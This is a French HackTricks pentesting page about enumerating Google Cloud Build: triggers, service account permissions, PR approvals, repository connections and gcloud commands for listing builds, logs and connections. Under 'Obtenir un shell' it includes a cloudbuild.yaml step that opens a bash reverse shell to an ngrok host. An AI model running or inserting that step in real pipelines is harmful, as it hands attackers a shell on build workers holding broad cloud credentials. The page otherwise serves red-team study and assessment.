GCP - Cloud Build Enum

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Google Cloud Build est une plateforme CI/CD gĂ©rĂ©e qui automatise la construction et les processus de publication de logiciels, s’intĂ©grant avec des dĂ©pĂŽts de code source et prenant en charge un large Ă©ventail de langages de programmation. Elle permet aux dĂ©veloppeurs de construire, tester et dĂ©ployer du code automatiquement tout en offrant la flexibilitĂ© de personnaliser les Ă©tapes de construction et les flux de travail.

Chaque déclencheur Cloud Build est lié à un dépÎt Cloud ou directement connecté à un dépÎt externe (Github, Bitbucket et Gitlab).

Tip

Je n’ai trouvĂ© aucun moyen de voler le token Github/Bitbucket d’ici ou des dĂ©pĂŽts Cloud car lorsque le dĂ©pĂŽt est tĂ©lĂ©chargĂ©, il est accessible via une https://source.cloud.google.com/ URL et Github n’est pas accessible par le client.

ÉvĂ©nements

Le Cloud Build peut ĂȘtre dĂ©clenchĂ© si :

  • Push vers une branche : SpĂ©cifiez la branche
  • Push d’un nouveau tag : SpĂ©cifiez le tag
  • Pull request : SpĂ©cifiez la branche qui reçoit le PR
  • Invocation manuelle
  • Message Pub/Sub : SpĂ©cifiez le sujet
  • ÉvĂ©nement Webhook : Exposera une URL HTTPS et la requĂȘte doit ĂȘtre authentifiĂ©e avec un secret

Exécution

Il y a 3 options :

  • Un yaml/json spĂ©cifiant les commandes Ă  exĂ©cuter. GĂ©nĂ©ralement : /cloudbuild.yaml
  • Uniquement celui qui peut ĂȘtre spĂ©cifiĂ© “inline” dans la console web et dans le cli
  • Option la plus courante
  • Pertinent pour un accĂšs non authentifiĂ©
  • Un Dockerfile Ă  construire
  • Un Buildpack Ă  construire

Permissions SA

Le Service Account a le scope cloud-platform, donc il peut utiliser tous les privilĂšges. Si aucun SA n’est spĂ©cifiĂ© (comme lors de la soumission), le SA par dĂ©faut <proj-number>@cloudbuild.gserviceaccount.com sera utilisĂ©.

Par dĂ©faut, aucune permission n’est donnĂ©e mais il est assez facile d’en donner :

Approbations

Il est possible de configurer un Cloud Build pour exiger des approbations pour les exécutions de construction (désactivé par défaut).

Approbations PR

Lorsque le dĂ©clencheur est un PR, parce que tout le monde peut effectuer des PR sur des dĂ©pĂŽts publics, il serait trĂšs dangereux de simplement permettre l’exĂ©cution du dĂ©clencheur avec n’importe quel PR. Par consĂ©quent, par dĂ©faut, l’exĂ©cution ne sera automatique que pour les propriĂ©taires et les collaborateurs, et pour exĂ©cuter le dĂ©clencheur avec d’autres PRs d’utilisateurs, un propriĂ©taire ou un collaborateur doit commenter /gcbrun.

Connexions & DépÎts

Des connexions peuvent ĂȘtre créées via :

  • GitHub : Cela affichera une invite OAuth demandant des permissions pour obtenir un token Github qui sera stockĂ© dans le Secret Manager.
  • GitHub Enterprise : Il demandera d’installer une GithubApp. Un token d’authentification de votre hĂŽte GitHub Enterprise sera créé et stockĂ© dans ce projet en tant que secret du Secret Manager.
  • GitLab / Enterprise : Vous devez fournir le token d’accĂšs API et le token d’accĂšs API en lecture qui seront stockĂ©s dans le Secret Manager.

Une fois qu’une connexion est gĂ©nĂ©rĂ©e, vous pouvez l’utiliser pour lier des dĂ©pĂŽts auxquels le compte Github a accĂšs.

Cette option est disponible via le bouton :

Tip

Notez que les dépÎts connectés avec cette méthode sont uniquement disponibles dans les Déclencheurs utilisant la 2Úme génération.

Connecter un DépÎt

Ce n’est pas la mĂȘme chose qu’une connexion. Cela permet diffĂ©rentes maniĂšres d’obtenir accĂšs Ă  un dĂ©pĂŽt Github ou Bitbucket mais ne gĂ©nĂšre pas un objet de connexion, mais gĂ©nĂšre un objet de dĂ©pĂŽt (de 1Ăšre gĂ©nĂ©ration).

Cette option est disponible via le bouton :

Stockage

Parfois, Cloud Build va gĂ©nĂ©rer un nouveau stockage pour stocker les fichiers pour le dĂ©clencheur. Cela se produit par exemple dans l’exemple que GCP propose avec :

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Un bucket de stockage appelé security-devbox_cloudbuild est créé pour stocker un .tgz avec les fichiers à utiliser.

Obtenir un shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Installer gcloud Ă  l’intĂ©rieur de cloud build :

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

ÉnumĂ©ration

Vous pourriez trouver des informations sensibles dans les configurations de build et les journaux.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Escalade de privilĂšges

GCP - Cloudbuild Privesc

AccÚs non authentifié

GCP - Cloud Build Unauthenticated Enum

Post-exploitation

GCP - Cloud Build Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks